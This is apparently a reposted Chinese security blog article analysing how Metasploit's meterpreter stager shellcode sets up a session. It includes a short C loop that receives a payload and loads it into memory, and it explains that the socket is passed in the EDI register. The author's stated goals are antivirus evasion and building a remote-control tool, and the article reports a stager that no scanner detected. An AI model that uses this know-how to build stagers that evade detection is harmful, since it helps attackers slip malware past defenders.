记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

揭开Meterpreter的神秘面纱

2014-12-10 14:15

写在前面

用过metasploit的人应该对meterpreter不陌生,它具有强大的功能,特别是其socks代理,简直就是内网渗透测试神器。由于meterpreter功能强大,萌生了想要把msf做远控的念头。另外,围绕meterpreter一个重要的问题,就是如何绕过杀软。

这促使我决定一窥meterpreter的究竟,以了解其工作原理和流程,从而方便自定义载荷进行免杀,或者予以改造做远控。后来发现,直接基于msf做远控还有很长一段路要走,不过却可以完美免杀,而且还了解了meterpreter会话建立的流程和原理,对写程序很受启发。

剖析meterpreter

使用msf生成的meterpretershellcode很小(stager阶段),如287 bytes,一个287bytesshellcode竟能最终建立一个功能强大的meterpreter会话。这段shellcode到底是在干什么呢?这段shellcode就只干了如下事情:连接服务器,接收载荷,并将控制权转移到载荷。

有人利用C语言实现了 meterpreter建立会话(这里可以参考链接:http://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c) meterpreter 会话的建立过程,但是和原shellcode功能并不是很一致,因为这里使用了内存加载函数:

do{
        response =recv(meterpretersock, recvbuf, 1024, 0);
       memcpy(payload,recvbuf,response);
        payload +=response;
        total +=response;
       payloadlength -= response;
 
   }while(payloadlength > 0);
    payload -=total;
    loadedfile =LoadLibraryR(payload,total);
   meterpreterstart = (MyInit)GetProcAddressR(loadedfile,"Init");
   meterpreterstart(meterpretersock);

内存加载函数比较复杂,如果将这篇 c 代码转为shellcode,我想是不可能只有287bytes的。于是,我去掉了其内存加载的地方,直接将控制权转移到载荷,并将socket作为参数传入,发现会话并没有正常建立,但是也没有报错。

因此,我决定对原始shellcode进行分析,以找到meterpreter会话建立的核心流程。

在分析 原始shellcode之前,我想先知道被控端连接msf后,msf发过来的是什么载荷。通过查阅资料,得知这个载荷名叫:metsvr.xxx.dllxxx代表x86或者x64。为了验证,我删掉了/opt/metasploit/apps/pro/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.11/meterpreter目录下的 metsrv.x86.dll,发现会话无法正常建立了,从而确定了就是这个dll。然后我重新编译了metsrv.x86.dll,并插入了添加的代码,发现添加的代码执行了,进一步说明定位准确。

不过这样,问题就来了。

通常,我们自己写程序执行meterpretershellcode,常常是执行将控制权转移到shellcode执行,而上面那篇c代码,却是先加载载荷到内存中,然后再调用其Init()函数。显然两者差距很大,但是都能正常建立其meterpreter会话。也就是说,msf传过来的载荷,既可以直接将控制权转移到载荷执行,也可以内存加载载荷,然后调用其init函数来执行。是什么原因使得这两种方式都可以的呢?刚开始,我以为难道可以直接将控制权转移到dll头部,就会调用其主函数?显然,这种想法一经测试,立刻知道是错误的了。那么,原因就只有一个,一定是Msfdll做了手脚。

为了验证我的想法,我修改了上面提到的c代码,当接收到载荷后,将其保存在文件中。并与原始dll进行了对比:

结果显示,的确不同。从第3个字节开始,就出现了变化。因此,我对这段代码进行了反汇编分析:

发现这部分是经过精心构造的代码,由于前两个字节是4D 5A,对应的反汇编代码是DEC BEP,POP EDX。这段改编后的代码先存储了当前地址在EBX中,然后恢复因为4D 5A而造成的数据的更改。然后调用了偏移15E7处的函数,接着执行了该函数返回结果对应的函数。步入15E7分析:

这里像是在向回找到4D 5A,也就是DLL的头部。继续往下面分析,发现非常像是找在函数地址,这里会不会就是内存加载DLL的地方呢?如果是这样,内存加载DLL后,应该返回DLLDllMain函数的地址,后来发现果然如此。最后,我查阅资料终于找到了插入到4D 5A 后面的代码原始说明:

这段代码验证了我的猜测。(注释已经说的很清楚的,大家可以自己分析下)

联想到起初我提到的那篇c代码,因为我不想要那段内存加载的地方(因为太大了,转为shellcode会导致shellcode太过庞大),而去掉了内存加载的地方,直接执行载荷,但是会话却没有成功建立。看到这里的说明,原因很清楚了,因为我是通过参数传递将socket的值传过去的,而这里插入的代码,是通过寄存器 edi 得到socket的值,也就是说我们应该将socket存放到edi中,然后在将控制权转移到载荷中去。这样就可以用很简短的 c 代码,来模拟meterpreter stager,并成功建立会话。

为了验证,我编写了cpp代码来实现:

执行程序,成功得到了meterpreter会话:

然后我将程序传到 virtualtotal进行检测,发现没有任何杀软报毒:https://www.virustotal.com/en/file/73d54586d85cd54a51befba1c0332c989318bdd228f764d233bad729add4cb33/analysis/1418040884/

 

上述模拟 meterpreter stager阶段的cpp代码已托管到 github上:https://github.com/codeliker/mymig_meterpreter

meterpreter会话建立过程是如此的巧妙。

参考信息

http://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c/
https://github.com/rapid7/metasploit-framework/wiki

[本文作者codeliker,本文属于FreeBuf.COM独家发布文章,未经许可禁止转载]


知识来源: www.freebuf.com/articles/system/53818.html

阅读:192651 | 评论:0 | 标签:系统安全 网络安全

想收藏或者和大家分享这篇好文章→复制链接地址

“揭开Meterpreter的神秘面纱”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云